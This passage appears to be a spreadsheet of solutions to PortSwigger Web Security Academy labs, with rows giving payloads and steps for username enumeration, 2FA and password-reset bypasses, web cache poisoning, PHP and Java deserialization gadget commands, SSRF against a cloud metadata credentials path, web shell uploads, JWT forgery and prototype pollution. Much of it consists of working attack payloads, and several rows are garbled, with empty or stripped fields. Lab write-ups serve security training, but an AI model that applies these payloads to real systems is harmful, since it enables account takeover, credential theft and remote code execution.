this.","Access Control, Practitioner" 689 | 109,Username enumeration via different responses,"username=§invalid-username§ 690 | 691 | username=identified-user&password=§invalid-password§","Use Intruder Sniper attack, start with the username and note that the responses for an invalid username and incorrect password are different which allows for username enumeration. 692 | 693 | Then repeat the process with the valid username to identify the correct password.","Apprentice, Authentication" 694 | 110,2FA simple bypass,/my-account manually change the URL to bypass the 2FA verification,"The 2FA prompt is shown, but is not actually required to access account settings. So browsing directly to the account settings page can bypass this control. You can identify the URL for the account settings page by logging in yourself first and seeing the flow of the application.","Apprentice, Authentication" 695 | 111,Password reset broken logic,"POST /forgot-password?temp-forgot-password-token 696 | 697 | temp-forgot-password-token=Zl8C2ANa5SONp149RSSoISCRfGNLQGTF&username=carlos&new-password-1=test&new-password-2=test","Token is not being checked, as this can be deleted or reused and the reset functionality still works. 698 | 699 | Generate a new password request and change the username to carlos, then note that this changes the password for a different account.","Apprentice, Authentication" 700 | 112,Username enumeration via subtly different responses,username=identified-user&password=§invalid-password§,"Error message Invalid username or password. 701 | 702 | Error message for a successful username but invalid password is subtly different and has a typo with a trailing space. You can notice this slight difference in response length to determine a correct password. 703 | 704 | Use Intruder, and in the Options tab under Grep-Extract you can add a new extraction specifically for the error message, this will add this as a new column in the output to identify the slight difference.","Authentication, Practitioner" 705 | 113,Username enumeration via response timing,username=identified-user&password=§invalid-password§,"X-Forwarded-For header is supported which can allow you to spoof the IP address. 706 | 707 | For this lab, when you enter a valid username the response time is varied based on the length of the password entered. 708 | 709 | Use Intruder and set the password payload to a long string (100 characters or more). Then view the response received column to identify the different response times.","Authentication, Practitioner" 710 | 114,"Broken brute-force protection, IP block",,"IP is temporarily blocked if you submit 3 incorrect logins in a row. However, notice that you can reset the counter for the number of failed login attempts by logging in to your own account before this limit is reached. 711 | 712 | Add a list of payloads that alternates between your username and carlos 713 | . Make sure that your username is first and that carlos 714 | is repeated at least 100 times. Edit the list of candidate passwords and add your own password before each one. Make sure that your password is aligned with your username in the other list. 715 | 716 | For this lab, ensure that the number of threads is set to 1 so that requests happen one by one.","Authentication, Practitioner" 717 | 115,Username enumeration via account lock,username=§invalid-username§&password=example§§,"Use Cluster Bomb attack to generate 5 incorrect payloads for each username. One of the usernames will return a message that too many incorrect login attempts have been made (locked out). 718 | 719 | Start another Intruder attack, use a Grep-Extract rule on the error message and note that one of the passwords does not return an error message. This is the correct password and can be used to login once the account is reset.","Authentication, Practitioner" 720 | 116,2FA broken logic,"POST /login2 721 | 722 | Modify verify parameter to carlos and add payload to the mfa-code parameter in Intruder to brute force the verification code","You have to first make a GET request to login2 with Carlos so that a 2FA code is generated for his account. 723 | 724 | Then make a POST request to login2 with your own account, but modify the parameters for Carlos and then brute force the mfa-code for his account using Intruder.","Authentication, Practitioner" 725 | 117,Brute-forcing a stay-logged-in cookie,,,"Authentication, Practitioner" 726 | 118,Offline password cracking," 727 | 728 | Obtain the cookie, then crack this offline using a search engine or similar tool.","stay-logged-in cookie: 729 | username+':'+md5HashOfPassword 730 | 731 | Steal victim cookie using a stored XXS payload","Authentication, Practitioner" 732 | 119,Password reset poisoning via middleware,"X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net 733 | 734 | temp-forgot-password-token modify to the one received when submitting the request, change username to carlos.","The X-Forwarded-Host header points the dynamically generated reset link to an arbitrary domain. Change the domain to the exploit server with the username carlos, then obtain the password reset link with the token as a query parameter. Note that this one points to the exploit server, so the link itself is invalid but the token is not. 735 | 736 | Generate a new, valid password reset link and replace the token value with the previously obtained one.","Authentication, Practitioner, Review" 737 | 120,Password brute-force via password change,username=carlos¤t-password=§incorrect-password§&new-password-1=123&new-password-2=abc,"During password reset, if you enter two different new passwords, an error message simply states Current password is incorrect 738 | . If you enter a valid current password, but two different new passwords, the message says New passwords do not match 739 | . We can use this message to enumerate correct passwords. 740 | 741 | Use Intruder and add a grep-match rule to flag responses that say “New passwords do not match”. This is because the error message indicates that the current password is correct, so this password can be used to login to the application.","Authentication, Practitioner" 742 | 121,Manipulating WebSocket messages to exploit vulnerabilities,,"Access the WebSockets history tab in Burp. 743 | 744 | Intercept the websocket message with Burp, ensure this is configured in Burp settings","Apprentice, Websockets" 745 | 122,Manipulating the WebSocket handshake to exploit vulnerabilities," 746 | 747 | X-Forwarded-For: 1.1.1.1",Adding the X-Forwarded-For header can bypass IP address blocking,"Practitioner, Websockets" 748 | 123,Cross-site WebSocket hijacking,"","The WebSockets READY command retrieves past chat messages from the server. This request has no CSRF tokens. 757 | 758 | Exploit is sending this READY message via websocket, to then fetch the past chat messages of the victim account.","Practitioner, Websockets" 759 | 124,Web cache poisoning with an unkeyed header,"alert(document.cookie) (in the body of the exploit server file name, change the file name to match the path of the request to /resources/js/tracking.js 760 | 761 | X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net 762 | 763 | Replay the request until the cahce is poisoned and the X-Cache response in the header returns “hit”.","When a header is what is causing a cache update 764 | 765 | add cache buster query parameter such as ?cb=1234 to the home page GET request. 766 | 767 | Add X-Forwarded-Host 768 | header with an arbitrary hostname. This hostname generates an absolute URL stored at /resources/js/tracking.js 769 | 770 | Observe X-Cache response to determine if the response came from the cache or not.","Practitioner, Web Cache Poisoning" 771 | 125,Web cache poisoning with an unkeyed cookie,"fehost=someString""-alert(1)-""someString","When cookies aren’t included in the cache key. 772 | 773 | First response to the application returns the following cookie: fehost=prod-cache-01 This cookie is reflected in a double-quoted JavaScript response.","Practitioner, Web Cache Poisoning" 774 | 126,Web cache poisoning with multiple headers,"alert(document.cookie) (in exploit server) 775 | 776 | X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net 777 | 778 | X-Forwarded-Scheme - anything other than HTTPS","X-Forwarded-Scheme 779 | header with any value other than https results in a 302 response, Location header shows that you are being redirected to the URL using https. 780 | 781 | Add the X-Forwarded-Host: example.com 782 | header back to the request, but keep X-Forwarded-Scheme: nothttps 783 | 784 | Location 785 | header of the 302 redirect now points to https://example.com/","Practitioner, Web Cache Poisoning" 786 | 127,Targeted web cache poisoning using an unknown header,"X-Host 787 | 788 | alert(document.cookie) (in exploit server) 789 | 790 | X-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net 791 | 792 | In comment of a blog post: 793 | 794 | ","Use Param Miner to guess headers. 795 | 796 | the Vary 797 | header is used to specify that the User-Agent 798 | is part of the cache key. To target the victim, you need to find out their User-Agent. 799 | 800 | Obtain User-Agent via XSS and then paste the victims user-agent into the header and remove cache buster to poison","Practitioner, Web Cache Poisoning" 801 | 128,Web cache poisoning via an unkeyed query string,GET /?evil='/>,"Use Origin header as a cache buster, add this to your request.","Practitioner, Web Cache Poisoning" 802 | 129,Web cache poisoning via an unkeyed query parameter,GET /?utm_content='/>,"Use Param Miner to identify that utm_content is supported as a parameter. Note this is unkeyed if you add it to your query string and still get a cache hit, it is also reflected in the response. 803 | 804 | Add a different query parameter to work as a cache buster.","Practitioner, Web Cache Poisoning" 805 | 130,Parameter cloaking,GET /js/geolocate.js?callback=setCountryCookie&utm_content=foo;callback=alert(1),"utm_content 806 | parameter is supported and also excluded from the cache key. 807 | 808 | If you add a semicolon it is treated as a single parameter and is therefore also excluded from the cache key. Identified with Param Miner loaded, right-click on the request and select ""Bulk scan"" > ""Rails parameter cloaking scan” 809 | 810 | GET /js/geolocate.js?callback=setCountryCookie 811 | 812 | you can control the name of the function that is called on the returned data by editing the callback 813 | parameter but it is keyed. Add a second callback parameter to the utm_content, it’s not keyed. 814 | 815 | GET /js/geolocate.js?callback=setCountryCookie&utm_content=foo;callback=arbitraryFunction 816 | 817 | HTTP/1.1 200 OK 818 | X-Cache-Key: /js/geolocate.js?callback=setCountryCookie 819 | … 820 | arbitraryFunction({""country"" : ""United Kingdom""})","Practitioner, Web Cache Poisoning" 821 | 131,Web cache poisoning via a fat GET request,"GET /js/geolocate.js?callback=setCountryCookie 822 | … 823 | callback=alert(1)","GET /js/geolocate.js?callback=setCountryCookie 824 | … 825 | callback=arbitraryFunction 826 | 827 | HTTP/1.1 200 OK 828 | X-Cache-Key: /js/geolocate.js?callback=setCountryCookie 829 | … 830 | arbitraryFunction({""country"" : ""United Kingdom""}) 831 | 832 | Add a second callback parameter to the body, cache key still derived from the original callback parameter.","Practitioner, Web Cache Poisoning" 833 | 132,URL normalization,GET /random

foo,"the path requested is reflected in the error message, /random doesn’t exist. 834 | 835 | when loaded directly, it doesn’t alert due to URL-encoding. But when poisoned and loaded, the browsers encoded payload was URL-decoded by the cache.","Practitioner, Web Cache Poisoning" 836 | 133,Modifying serialized objects,"Burp Repeater, use the Inspector to examine the cookie again and change the value of the admin 837 | attribute to b:1 838 | . Click ""Apply changes"". The modified object will automatically be re-encoded and updated in the request.","Session cookie is URL and base64 encoded. 839 | 840 | It is a serialized PHP object. admin attribute contains b:0 for false. 841 | 842 | ","Apprentice, Insecure Deserialization" 843 | 134,Modifying serialized data types,"O:4:""User"":2:{s:8:""username"";s:13:""administrator"";s:12:""access_token"";i:0;}","Update the length of the username attribute to 13. 844 | 845 | Change the username to administrator. 846 | 847 | Change the access token to the integer 0. As this is no longer a string, you also need to remove the double-quotes surrounding the value. 848 | 849 | Update the data type label for the access token by replacing s with i.","Insecure Deserialization, Practitioner" 850 | 135,Using application functionality to exploit insecure deserialization,"s:11:""avatar_link"";s:23:""/home/carlos/morale.txt""","The cookie has a serialized object avatar_link attribute, which points to your avatar via file path. This is when the account is deleted. 851 | 852 | Modify this path to point to /home/carlos/morale.txt 853 | 854 | Remember to update the length indicator","Insecure Deserialization, Practitioner" 855 | 136,Arbitrary object injection in PHP,"O:14:""CustomTemplate"":1:{s:14:""lock_file_path"";s:23:""/home/carlos/morale.txt"";}","/libs/CustomTemplate.php referenced. You can read the source code of this file by appending the ~ character to the filename. 856 | 857 | CustomTemplate class contains the destruct() magic method, which invokes unlink() on the lockfile_path attribute. 858 | 859 | Base64 and URL encode the payload, then add this as a session cookie. 860 | 861 | Session cookie looks like originally: 862 | 863 | O:4:""User"":2:{s:8:""username"";s:6:""wiener"";s:12:""access_token"";s:32:""olt9dugduro0pn89dvad0ckshsxn5ad7"";} 864 | 865 | (after URL and base64 decode)","Insecure Deserialization, Practitioner" 866 | 137,Exploiting Java deserialization with Apache Commons,java -jar path/to/ysoserial.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64,"Replace session cookie with the output of ysoserial, then URL-encode it. 867 | 868 | Session cookie looks like originally: 869 | 870 | ¬í�sr�/lab.actions.common.serializable.AccessTokenUserQüå'©�L�accessTokent�Ljava/lang/String;L�usernameq�~�xpt� o3nsmfykon6aoe1st16bub2f8pc02yqht�wiener 871 | 872 | (after URL and base64 decode)","Insecure Deserialization, Practitioner" 873 | 138,Exploiting PHP deserialization with a pre-built gadget chain,"./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64 874 | 875 | Generate payload object 876 | 877 | Find Comments. This will identify interesting HTML comments.,"Apprentice, Information Disclosure" 909 | 142,Source code disclosure via backup files,/backup/ProductTemplate.java.bak,"/robots.txt 910 | and notice that it reveals the existence of a /backup directory. Browse to /backup to find the file ProductTemplate.java.bak 911 | 912 | Or, ""Engagement tools"" > ""Discover content"". Then, launch a content discovery session to discover the /backupdirectory and its contents.","Apprentice, Information Disclosure" 913 | 143,Authentication bypass via information disclosure,"TRACE /admin 914 | 915 | X-Custom-IP-Authorization: 127.0.0.1","""Proxy"" > ""Options"", scroll down to the ""Match and Replace"" section, and click ""Add"". Leave the match condition blank, but in the ""Replace"" field, enter:X-Custom-IP-Authorization: 127.0.0.1","Apprentice, Information Disclosure" 916 | 144,Information disclosure in version control history,"wget -r https://YOUR-LAB-ID.web-security-academy.net/.git/ 917 | 918 | admin.conf",,"Information Disclosure, Practitioner" 919 | 145,Excessive trust in client-side controls,"POST /cart 920 | 921 | Change price parameter to an arbitrary value when adding a product to the cart.","There is a logic flaw in the purchasing workflow to buy items for an unintended price. 922 | 923 | The application is relying on the client side value and not checking this when it is submitted to the server.","Apprentice, Business Logic Vulnerabilities" 924 | 146,High-level logic vulnerability,"POST /cart 925 | 926 | change the quantity parameter to negative values to reduce the price of the cart.","Change the quantity parameter to a negative value, this lowers the price of the cart. 927 | 928 | Add the leather jacket to the cart, then add negative quantities of another product to lower the price of the cart.","Apprentice, Business Logic Vulnerabilities" 929 | 147,Inconsistent security controls,"Only “@dontwannacry” users can access /admin 930 | 931 | Register with an email address 932 | 933 | anything@your-email-id.web-security-academy.net 934 | 935 | Go to account and change email to anything@dontwannacry","The /admin endpoint is locked to specific users with an email domain. You can’t sign up with an email address at this domain as you won’t have access to the @dontwannacry email domain. 936 | 937 | However, you can register with a normal email address and then change your email address in the account settings.","Apprentice, Business Logic Vulnerabilities" 938 | 148,Flawed enforcement of business rules,"Coupons NEWCUST5 and SIGNUP30 939 | 940 | Adding the same coupon twice in a row is rejected, but adding the coupons in alternate order will bypass this control","Alternating between two different coupon codes will provide infinite money. 941 | 942 | The intended control is to prevent the same coupon from being added multiple times, but this does not apply when 2 (or more) coupons are used in alternate.","Apprentice, Business Logic Vulnerabilities" 943 | 149,Low-level logic flaw,"POST /cart 944 | 945 | Use Intruder to rapidly increase the price, once the cart reaches the maximium limit it switches to a negative interger and start counting toward 0. 946 | 947 | Use Intruder and Repeater to make the cart value between 0 and 100 dollars to purchase",Note that you need to use other items other than just the jacket to have the price land between 0 and 100.,"Business Logic Vulnerabilities, Practitioner" 948 | 150,Inconsistent handling of exceptional input,very-long-string@dontwannacry.com.YOUR-EMAIL-ID.web-security-academy.net,"using a very long email address is truncated to just 255 characters. 949 | 950 | Make sure the very-long-string is the right number of characters so that the ‘m’ at the end of @dontwannacry.com is character 255. 951 | 952 | This will then be truncated, so that the resulting address appears to be a valid @dontwannacry.com domain","Business Logic Vulnerabilities, Practitioner" 953 | 151,Weak isolation on dual-use endpoint,"POST /my-account/change-password 954 | 955 | remove the current-password parameter, this still changes the password. Change password for administrator user.",Set username=administrator to change the password for the administrator user,"Business Logic Vulnerabilities, Practitioner" 956 | 152,Insufficient workflow validation,"GET /cart/order-confirmation?order-confirmation=true 957 | 958 | Add the jacket to the basket.","POST /cart/checkout 959 | request redirects you to an order confirmation page via GET /cart/order-confirmation?order-confirmation=true 960 | 961 | This order-confirmation page can be modified to modify the shopping order, bypassing the cart/checkout process.","Business Logic Vulnerabilities, Practitioner" 962 | 153,Authentication bypass via flawed state machine,"Drop GET /role-selector request, the default role administrator is applied to the account.","GET /role-selector is the request after logging in, this request can be dropped which sets the account to the default role which is administrator.","Business Logic Vulnerabilities, Practitioner" 963 | 154,Infinite money logic flaw,"POST /cart 964 | POST /cart/coupon 965 | POST /cart/checkout 966 | GET /cart/order-confirmation?order-confirmed=true 967 | POST /gift-card","Use the SIGNUP30 coupon to buy a 10 dollar gift card at 30% discount, which profits $3. 968 | 969 | Run a macro in Burp: 970 | 971 | ""Project options"" > ""Sessions"". In the ""Session handling rules"" 972 | panel, click ""Add"". The ""Session handling rule editor"" dialog opens. 973 | 974 | In the dialog, go to the ""Scope"" tab. Under ""URL Scope"", select ""Include all URLs"". 975 | 976 | Go back to the ""Details"" tab. Under ""Rule 977 | actions"", click ""Add"" > ""Run a macro"". Under ""Select macro"", click 978 | ""Add"" again to open the Macro Recorder. 979 | 980 | In the list of requests, select GET /cart/order-confirmation?order-confirmed=true. Click ""Configure item"". In the dialog that opens, click ""Add"" to create a custom parameter. Name the parameter gift-card and highlight the gift card code at the bottom of the response. Click ""OK"" twice to go back to the Macro Editor. 981 | 982 | Select the POST /gift-card request and click ""Configure item"" again. In the ""Parameter handling"" section, use the drop-down menus to specify that the gift-card parameter should be derived from the prior response (response 4). Click ""OK"".","Business Logic Vulnerabilities, Practitioner" 983 | 155,Authentication bypass via encryption oracle,"xxxxxxxxxadministrator:your-timestamp 984 | 985 | cookie format is administrator:your-timestamp","stay-logged-in 986 | cookie is encrypted. 987 | 988 | Send the POST /post/comment 989 | and the subsequent GET /post?postId=x 990 | request (containing the notification cookie) to Burp Repeater.","Business Logic Vulnerabilities, Practitioner" 991 | 156,Basic password reset poisoning,"Modify Host header: YOUR-EXPLOIT-SERVER-ID.exploit-server.net 992 | 993 | Modify username in body parameter: carlos. Use the temp-forgot-password-token obtained to change the password of Carlos account.","The forgot password functionality will send an email with a URL that contains the query parameter temp-forgot-password-token. 994 | 995 | POST /forgot-password is used to trigger the password reset email, which contains the username as a body parameter. 996 | 997 | Changing the Host header changes the URL of the password reset link in the email sent. 998 | 999 | Generate a request with the exploit server as Host header and username as carlos. This will send a password reset link to Carlos’ email, when clicked, the temp-forgot-password-token will be included as a parameter in the request to the exploit server.","Apprentice, HTTP Host Header Attacks" 1000 | 157,Host header authentication bypass,"GET /admin 1001 | 1002 | Host header to localhost","Browse to /admin, error message reveals it can be accessed by local users.","Apprentice, HTTP Host Header Attacks" 1003 | 158,Web cache poisoning via ambiguous requests,"Exploit server /resources/js/tracking.js 1004 | alert(document.cookie) 1005 | 1006 | GET /?cb=123 HTTP/1.1 1007 | Host: YOUR-LAB-ID.web-security-academy.net 1008 | Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net 1009 | 1010 | Remove cache buster, re-poison the cache so that users browsing to / are served the malicious js file.","The Host header is being validated in requests to /. 1011 | 1012 | Add an arbitrary query parameter to your requests to serve as a cache buster, for example, GET /?cb=123 1013 | 1014 | add a second Host header with an arbitrary value, this appears to be 1015 | ignored when validating and routing your request. The arbitrary value of your second Host header is reflected in an absolute URL used to import a script from /resources/js/tracking.js","HTTP Host Header Attacks, Practitioner" 1016 | 159,Routing-based SSRF,"Host: 192.168.0.§0§ 1017 | 1018 | Identify the correct IP address, then browse to /admin with this as the Host header. Obtain a CSRF token when requesting /admin/delete. Use this to craft the full request. 1019 | 1020 | Full query parameter: 1021 | 1022 | GET /admin/delete?csrf=QCT5OmPeAAPnyTKyETt29LszLL7CbPop&username=carlos 1023 | 1024 | Obtain session cookie, modify request to POST and send.","Insert a collaborator payload in the Host header, then note that interactions are made when requests are sent to the web server. 1025 | 1026 | Use Intruder to replace the Host header with IP addresses, iterating up from 0 to 255 with a step of 1.","HTTP Host Header Attacks, Practitioner" 1027 | 160,SSRF via flawed request parsing,"Scan IP range using Host header and Intruder. 1028 | 1029 | Use absolute URL, obtain CSRF token, then generate the request 1030 | 1031 | GET https://YOUR-LAB-ID.web-security-academy.net/admin/delete?csrf=QCT5OmPeAAPnyTKyETt29LszLL7CbPop&username=carlos 1032 | 1033 | Obtain session cookie, then modify request to POST and include cookie.","Use an absolute URL instead of the standard URL. 1034 | 1035 | e.g.GET https://YOUR-LAB-ID.web-security-academy.net/ 1036 | 1037 | This then allows for the Host header to be modified. 1038 | 1039 | e.g.GET https://YOUR-LAB-ID.web-security-academy.net/ 1040 | Host: BURP-COLLABORATOR-SUBDOMAIN 1041 | 1042 | ","HTTP Host Header Attacks, Practitioner" 1043 | 161,SSRF via flawed request parsing,"Split the requests, one to / and one to the following. Obtain the necessary information in requests to /admin first. 1044 | 1045 | POST /admin/delete HTTP/1.1 1046 | Host: 192.168.0.1 1047 | Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE 1048 | Content-Type: x-www-form-urlencoded 1049 | Content-Length: CORRECT 1050 | 1051 | csrf=YOUR-CSRF-TOKEN&username=carlos 1052 | 1053 | ","Open two repeater tabs, 1054 | 1055 | First one is standard to / 1056 | Second one is to /admin with Host header 192.168.0.1 1057 | 1058 | Using the drop-down menu next to the Send button, change the send mode to Send group in sequence (single connection) 1059 | 1060 | Change the Connectionheader to keep-alive 1061 | 1062 | Make note of the details such as path, username input and csrf token. 1063 | 1064 | How it works: Although the front-end server may initially appear to perform robust validation of the Host header, it makes assumptions about all requests on a connection based on the first request it receives.","HTTP Host Header Attacks, Practitioner" 1065 | 162,Authentication bypass via OAuth implicit flow,"POST /authenticate 1066 | 1067 | change email address to carlos@carlos-montoya.net","Start of the OAuth flow: 1068 | GET /auth?client_id=[...] 1069 | 1070 | logs user in with a POST request to /authenticate along with the access token. This flawed validation allows you to change the email address to another account and login with that. 1071 | 1072 | Right-click on the POST 1073 | request and select ""Request in browser"" > ""In original session"". Copy this URL and visit it in the browser.","Apprentice, OAuth" 1074 | 163,Forced OAuth profile linking,"Intercept requests when linking a social media account. Copy the URL for GET /oauth-linking?code=[...] 1075 | 1076 | Drop the request and log out so you have a valid code. 1077 | 1078 | Exploit server: 1079 | ","Login as normal, then attach a social media profile to your account. 1080 | 1081 | Once this is done, you can login with social media account, which is done with GET /auth?client_id[...] and a redirect_uri 1082 | for this functionality sends the authorization code to /oauth-linking. 1083 | 1084 | There is no state parameter, which acts as a CSRF token in OAuth. Obtain a valid code by intercepting and dropping a request, then deliver it to the victim in an iframe. When the victim browser loads the iframe, the src attribute points to the URL and completed the OAuth flow, attaching your social media profile to the admin account.","OAuth, Practitioner" 1085 | 164,OAuth account hijacking via redirect_uri," 1086 | 1087 | Obtain an authorization code from victim, then use this to log in: 1088 | 1089 | https://YOUR-LAB-ID.web-security-academy.net/oauth-callback?code=STOLEN-CODE","GET /auth?client_id=[...] and redirect_urialong with the authorization code in the query string. 1090 | 1091 | Any value can be submitted for redirect_uri, allowing for authorization codes to be leaked. 1092 | 1093 | ","OAuth, Practitioner" 1094 | 165,,"https://oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email 1095 | 1096 | Script to force a victim to visit the malicious URL and execute the script to steal their access token: 1097 | 1098 | ","GET /auth?client_id=[...] and redirect_uri but the redirect uri is being validated against an allow list. However, you can perform a directory traversal e.g. 1105 | 1106 | https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post?postId=1 1107 | 1108 | This can be chained with an open redirect vulnerability elsewhere on the site. GET /post/next?path=[...] when clicking “Next Post” is vulnerable to open redirect. 1109 | 1110 | Combine these two vulnerabilities and steal an access token using the Exploit Server.","OAuth, Practitioner, Review" 1111 | 166,SSRF via OpenID dynamic client registration,"POST /reg HTTP/1.1 1112 | Host: oauth-YOUR-OAUTH-SERVER.oauth-server.net 1113 | Content-Type: application/json 1114 | 1115 | { 1116 | ""redirect_uris"" : [ 1117 | ""https://example.com"" 1118 | ], 1119 | ""logo_uri"" : ""https://BURP-COLLABORATOR-SUBDOMAIN"" 1120 | } 1121 | 1122 | Then replace the logo_uri value with the target URL when registering at /reg: 1123 | 1124 | ""logo_uri"" : ""http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"" 1125 | 1126 | Get a new client ID and then request the information about it at GET /client/CLIENT-ID/logo","Client registration endpoint is /reg according to the OAuth config file. 1127 | 1128 | Create a POST request to register client application with the OAuth service and include the logo_uri property. This will cause a SSRF when GET requests are made to the logo. 1129 | 1130 | Register a new client with the POST request, then make a GET call to obtain the logo information, which will perform the SSRF and steal the access key on the local server. 1131 | 1132 | ","OAuth, Practitioner" 1133 | 167,Remote code execution via web shell upload,,GET /files/avatars/exploit.php HTTP/1.1,"Apprentice, File Upload" 1134 | 168,Web shell upload via Content-Type restriction bypass," 1135 | 1136 | Change Content-Typeto image/jpeg",GET /files/avatars/,"Apprentice, File Upload" 1137 | 169,Web shell upload via path traversal," 1138 | 1139 | POST request to upload the php file, include a ../ encoded 1140 | 1141 | Content-Disposition: form-data; name=""avatar""; filename=""..%2fexploit.php"" 1142 | 1143 | GET /files/avatars/..%2fexploit.php","Server just outputs the contents of the PHP file as plain text. 1144 | 1145 | Path traversal executes the script. 1146 | 1147 | the / character need to be URL encoded.","File Upload, Practitioner" 1148 | 170,Web shell upload via extension blacklist bypass," 1149 | 1150 | name this exploit.l33t 1151 | 1152 | ","Create a PHP payload that maps an arbitrary extension (.l33t) to executable MIME type application/x-httpd-php 1153 | 1154 | filename: .htaccess 1155 | Content-Type: text/plain 1156 | 1157 | thanks to the malicious .htaccess file, the .l33t extension is executed as if it was .php, and the extension filter can be bypassed.","File Upload, Practitioner" 1158 | 171,Web shell upload via obfuscated file extension," 1159 | 1160 | Content-Disposition header: 1161 | 1162 | filename=""exploit.php%00.jpg""","Null byte payload will have the server accept it as jpg, but referred to as .php","File Upload, Practitioner" 1163 | 172,Remote code execution via polyglot web shell upload," 1164 | 1165 | exiftool -Comment="""" .jpg -o polyglot.php","Creating a polyglot PHP/JPG file that contains the PHP payload in the metadata. 1166 | 1167 | GET /files/avatars/polyglot.php 1168 | 1169 | Use the message editors search feature to find the START string within the binary image data in the response. This will be the secret value.","File Upload, Practitioner" 1170 | 173,JWT authentication bypass via unverified signature,"In the Inspector panel, change the value of the subclaim from wienerto administrator, then click Apply changes","Implementation flaws mean the server doesn’t verify the signature of the JWT. 1171 | 1172 | You can simply modify the session token to gain access as another user","Apprentice, JWT" 1173 | 174,JWT authentication bypass via flawed signature verification,"Change sub claim to administrator, change alg parameter to none. Apply changes","In the message editor, remove the signature from the JWT, but remember to leave the trailing dot after the payload.","Apprentice, JWT" 1174 | 175,JWT authentication bypass via weak signing key,hashcat -a 0 -m 16500 /path/to/jwt.secrets.list,"Crack the JWT secret using hashcat. Then, generate a forged signed key using JWT Editor Keys in Burp and New Symmetric Key. 1175 | 1176 | Then you can modify the JWT and sign this with a valid signature.","JWT, Practitioner" 1177 | 176,JWT authentication bypass via jwk header injection,"Generate a new RSA key, select Embedded JWK in “Attack”. 1178 | 1179 | A jwk parameter will be added to the header of the JWT containing the created public key","the jwk parameter in the JWT header is used to embed the correct verification key directly in the token, but sometimes the server fails to check that the provided key came from a trusted source. 1180 | 1181 | Generate a new RSA key in the JWT Editor Keys","JWT, Practitioner" 1182 | 177,JWT authentication bypass via jku header injection,"Generate a new RSA key. 1183 | 1184 | Add following to the exploit server based on the created information of the RSA key: 1185 | 1186 | { 1187 | ""keys"": [ 1188 | { 1189 | ""kty"": ""RSA"", 1190 | ""e"": ""AQAB"", 1191 | ""kid"": ""893d8f0b-061f-42c2-a4aa-5056e12b8ae7"", 1192 | ""n"": ""yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw"" 1193 | } 1194 | ] 1195 | } 1196 | 1197 | replace the kid header, add a new jku paramter with the exploit server URL uploaded. Click sign, and don’t modify headers.","The jku header might be supported in JWT’s, the server might fail to check the URL belongs to a trusted domain. 1198 | 1199 | Upload a malicious JWK set to the exploit server. 1200 | 1201 | replace the kid of the JWT, add the jku parameter. 1202 | 1203 | Sign the JWT with the RSA key generated, make sure that the “Don’t modify header” option is selected and sign the token.","JWT, Practitioner" 1204 | 178,JWT authentication bypass via kid header path traversal,"Modify the JWT’s kid parameter: 1205 | 1206 | ../../../../../../../dev/null 1207 | 1208 | Generate a new key with a null byte (AA==) for the k property (secret key), sign the modified JWT with the null byte secret key.","The server uses the kid parameter to fetch the key from its filesystem. 1209 | 1210 | Generate a new symmetric key, replace the generated value for the k property with a base64-encoded null byte (AA==). 1211 | 1212 | Modify the kid parameter of the servers JWT to point to dev/null. 1213 | 1214 | Change the sub parameter to administrator. Sign with generated symmetric key and “Don’t modify header”. 1215 | 1216 | This will modify the token with a secret key that uses a null byte, the path traversal in the kid also points to /dev/null, so these will match and be accepted.","JWT, Practitioner" 1217 | 179,DOM XSS via client-side prototype pollution,"/?__proto__[transport_url]=data:,alert(1);","DOM Invader: 1218 | 1. Open Burp Browser, enable Prototype Pollution 1219 | 2. Click Scan for Gadgets 1220 | 3. script.src sink accessed via transport_url gadget. 1221 | 4. Click Exploit 1222 | 1223 | Manual: 1224 | 1. /?__proto__[foo]=bar 1225 | Open Console → Object.prototype and note that it now has the foo property with the value bar. 1226 | 2. Go to Sources, look for sinks. searchLogger.js has the config option with transport_url property. 1227 | 3. /?__proto__[transport_url]=foo 1228 | Go to Elements, ","Use DOM Invader to identify the 3rd party sink and gadget (setTimeout()) and hitCallback. 1235 | 1236 | Modify the payload to alert the document.cookie, not just alert(1).","Practitioner, Prototype Pollution" 1237 | 183,Client-side prototype pollution via browser APIs,"/?__proto__[value]=data:,alert(1);","script.srcsink via the valuegadget. 1238 | 1239 | the Object.defineProperty()method is used to make the transport_urlunwritable and unconfigurable. However, it doesn't define a valueproperty.","Practitioner, Prototype Pollution" 1240 | 184,Privilege escalation via server-side prototype pollution,"""__proto__"": { 1241 | ""isAdmin"":true 1242 | }","POST /my-account/change-address 1243 | request. 1244 | 1245 | Add a new property to the JSON with the name _proto_: 1246 | 1247 | ""__proto__"": { 1248 | ""foo"":""bar"" 1249 | } 1250 | 1251 | The response includes the arbitrary property injected, but not the _proto_ property, which indicates pollution is possible. Pollute the isAdmin property to escalate privileges. Note that you can see the isAdmin property in the response, and this is set to “false”","Practitioner, Prototype Pollution" 1252 | 185,Detecting server-side prototype pollution without polluted property reflection,"""__proto__"": { 1253 | ""status"":555 1254 | }","""_proto_"": { 1255 | ""foo"":""bar"" 1256 | } 1257 | 1258 | This is not reflected in the response, if you break the JSON syntax, an error message is received. The error response is 500 but there is an status property in the JSON response body of 400. Fix the error and try to pollute the status property. 1259 | 1260 | ""__proto__"": { 1261 | ""status"":555 1262 | } 1263 | 1264 | remember this must be between 400 and 599. 1265 | 1266 | Issue the request polluting the status property, then generate a new error. Note that the status returns 555, indicating that the prototype pollution is succesful.","Practitioner, Prototype Pollution" 1267 | 186,Bypassing flawed input filters for server-side prototype pollution,"""constructor"": { 1268 | ""prototype"": { 1269 | ""isAdmin"":true 1270 | } 1271 | }","""constructor"": { 1272 | ""prototype"": { 1273 | ""json spaces"":10 1274 | 